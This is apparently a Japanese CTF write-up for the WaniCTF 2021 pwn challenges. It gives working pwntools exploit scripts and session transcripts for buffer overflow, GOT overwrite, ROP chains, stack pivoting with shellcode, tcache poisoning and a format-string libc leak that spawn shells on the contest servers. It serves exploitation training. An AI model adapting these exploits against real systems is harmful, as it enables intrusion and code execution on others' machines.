WaniCTF 2021 Writeup
体調が優れずPwnしか取り組めませんでした😭
nc
$ nc nc.pwn.wanictf.org 9001 welcome to WaniCTF 2021!!! ls chall flag.txt redir.sh cat flag.txt FLAG{the-1st-step-to-pwn-is-netcatting}
flag: FLAG{the-1st-step-to-pwn-is-netcatting}
BOF
オーバーフローさせるとokが書き換えられてフラグが表示されます。
$ nc bof.pwn.wanictf.org 9002 ふっかつのじゅもんを いれてください AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA よくぞもどられた! FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
flag: FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
got rewriter
printfのGOTをwinに書き換えました。
$ nc got-rewriter.pwn.wanictf.org 9003 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600000-0x700000): 0x601038 Your input address is 0x601038. Please input rewrite value: 0x400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
flag: FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
rop-machine-returns
ROPでsystem("/bin/sh")を実行しました。
$ nc rop-machine-returns.pwn.wanictf.org 9004 welcome to rop-machine-returns!!! "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{please-learn-how-to-use-rop-machine}
flag: FLAG{please-learn-how-to-use-rop-machine}
baby_heap
まず、2回mallocして以下の状態にします。
[0] : Allocated Chunk Chunk at>0x56336b0be2c0 Data : [1] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated
次に[0]、[1]の順番でfreeして以下の状態にします。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Free Chunk Chunk at>0x56336b0be2e0 fd : 0x56336b0be2c0 [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated
次に[1]のfdをリターンアドレスがあるアドレスに書き換えます。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Free Chunk Chunk at>0x56336b0be2e0 fd : 0x7ffd4ccec1c8 [2] : Not Allocated [3] : Not Allocated [4] : Not Allocated
次に2回mallocしてリターンアドレスがある領域を確保します。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [2] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [3] : Allocated Chunk Chunk at>0x7ffd4ccec1c8 Data : [4] : Not Allocated
次に[3]にwinのアドレスを書き込みます。
[0] : Free Chunk Chunk at>0x56336b0be2c0 fd : 0x0 [1] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [2] : Allocated Chunk Chunk at>0x56336b0be2e0 Data : [3] : Allocated Chunk Chunk at>0x7ffd4ccec1c8 Data : B�k3V [4] : Not Allocated
最後にexitするとwinが実行されます。
flag: FLAG{This_is_Hint_for_the_diva}
rop-machine-final
- gets(buf)でbufに"./flag.txt"という文字列を書き込みます。
- open(buf, O_RDONLY)で./flag.txtを開きます。
- read(3, buf, 0x50)で./flag.txtの内容をbufに書き込みます。
- write(1, buf, 0x50)でbufの内容を出力します。
import pwn import sys import os def read_until(s): ret = b"" while ret.find(s) == -1: ret += io.read(1) return ret # [menu] # 0x01. append hex value # 0x02. append "pop rdi; ret" addr # 0x03. append "pop rsi; ret" addr # 0x04. append "pop rdx; ret" addr # 0x05. append "gets" addr # 0x06. append "open" addr # 0x07. append "read" addr # 0x08. append "write" addr # 0x0a. show menu (this one) # 0x0b. show rop_arena # 0x00. execute rop def cmd_append_hex(val): io.send(b"1\n") ret = read_until(b": ") s = b"%x\n" % (val) io.send(s) ret = read_until(b">") print(ret.decode()) def cmd_append_pop_rdi(): io.send(b"2\n") ret = read_until(b">") print(ret.decode()) def cmd_append_pop_rsi(): io.send(b"3\n") ret = read_until(b">") print(ret.decode()) def cmd_append_pop_rdx(): io.send(b"4\n") ret = read_until(b">") print(ret.decode()) def cmd_append_gets(): io.send(b"5\n") ret = read_until(b">") print(ret.decode()) def cmd_append_open(): io.send(b"6\n") ret = read_until(b">") print(ret.decode()) def cmd_append_read(): io.send(b"7\n") ret = read_until(b">") print(ret.decode()) def cmd_append_write(): io.send(b"8\n") ret = read_until(b">") print(ret.decode()) def cmd_show_arena(): io.send(b"b\n") ret = read_until(b">") print(ret.decode()) def cmd_execute(): io.send(b"0\n") io.sendline(b'./flag.txt\0') io.interactive() io = pwn.remote("rop-machine-final.pwn.wanictf.org", 9005) # io = pwn.process("./final") ret = read_until(b">") print(ret.decode()) buf = 0x404140 ### followings are just example junk rop codes ### # gets cmd_append_pop_rdi() cmd_append_hex(buf) cmd_append_gets() # open cmd_append_pop_rdi() cmd_append_hex(buf) cmd_append_pop_rsi() cmd_append_hex(os.O_RDONLY) cmd_append_open() # read cmd_append_pop_rdi() cmd_append_hex(3) cmd_append_pop_rsi() cmd_append_hex(buf) cmd_append_pop_rdx() cmd_append_hex(0x50) cmd_append_read() # write cmd_append_pop_rdi() cmd_append_hex(1) cmd_append_pop_rsi() cmd_append_hex(buf) cmd_append_pop_rdx() cmd_append_hex(0x50) cmd_append_write() cmd_execute()
flag: FLAG{you-might-be-the-real-rop-master}
Tarinai
int vuln() { char Name[256]; printf("Name @>%p\n", &Name); printf("Name>"); read(0, Name, 258); printf("Hello %s", Name); return 0; }
2バイトのBOFがあります。これによってRBPの下位2バイトを書き換えられます。RBPをNameのアドレスにすることによってmain終了時のleave命令でRSPがName+8になります。NXが無効なのでNameを以下の状態にしてシェルコードを実行しました。
+---------------+ <- Name | AAAAAAAA | +---------------+ <- Name+0x8 | Name+0x10 | <- リターンアドレス +---------------+ <- Name+0x10 | nop | | ~ | +---------------+ | shellcode | +---------------+
from pwn import * # p = process('chall') p = remote('tarinai.pwn.wanictf.org', 9007) e = ELF('chall') context.binary = e p.recvuntil('@>') stack = int(p.recvline()[:-1], 16) print(hex(stack)) shellcode = asm(shellcraft.sh()) payload = b'A' * 8 payload += p64(stack+0x10) payload += b'\x90' * (0x100 - len(payload) - len(shellcode)) payload += shellcode payload += p64(stack & 0xffff) p.sendline(payload) p.interactive()
diva
$ ./chall I'm born to take flag with music Year : 2061 command : (null) Year : 2076 command : (null) Year : 2081 command : (null) Year : 2121 command : (null) Year : 2161 command : (null) command : (null) I wasn't able to get the flag. Initializing System... Checking Available Memory... Memory available... Give me your code to send to the past counter : 0 0> 1> 2> 3> 4> 5> Change this FLAGless history!! Please...
普通に実行すると特に何もなく終了します。
for (int i = 0; i < 6; i++) { textArea[i] = (char *)malloc(32 * sizeof(char)); printf("%d>", i); read(0, textArea[i], 0x40); } printf("Change this FLAGless history!! Please...\n"); counter += 1; }
readでヒープオーバーフローを起こせます。tcache poisoningで、終了時に呼び出される__do_global_dtors_aux_fini_array_entryをmainに書き換えます。 mainに戻るとtextAreaの文字列がコマンドとして扱われて実行されます。そのコマンドの1つであるsingにはFSBがあります。
void sing(char *parameter) { printf("🎵"); printf( parseVar(parameter)); // Looks Safe since we use % as register indicator! printf("🎵\n"); }
これでlibcリークして、tcache poisoningで__malloc_hookをOne Gadgetに書き換えます。
from pwn import * # p = process('chall') # p = remote('localhost', 7777) p = remote('diva.pwn.wanictf.org', 9008) e = ELF('chall') libc = ELF('libc-2.31.so') one_gadget = [0xe6c84, 0xe6c81, 0xe6c7e] payload = b'A' * 0x28 payload += p64(0x31) payload += p64(0x4034b8) # __do_global_dtors_aux_fini_array_entry p.sendlineafter(b'>', b'sing @@@%51$p') p.sendlineafter(b'>', b'') p.sendlineafter(b'>', b'') p.sendlineafter(b'>', payload) p.sendlineafter(b'>', b'') p.sendlineafter(b'>', p64(e.symbols['main'])) p.recvuntil('🎵@@@') libc.address = int(p.recvline()[:-1], 16) - 0x49be0 # __on_exit print(hex(libc.address)) payload = b'A' * 0x28 payload += p64(0x31) payload += p64(libc.symbols['__malloc_hook']) p.sendlineafter(b'>', payload) p.sendlineafter(b'>', b'') p.sendlineafter(b'>', p64(libc.address + one_gadget[2])) p.interactive()
flag: FLAG{in_this_dazzling_time}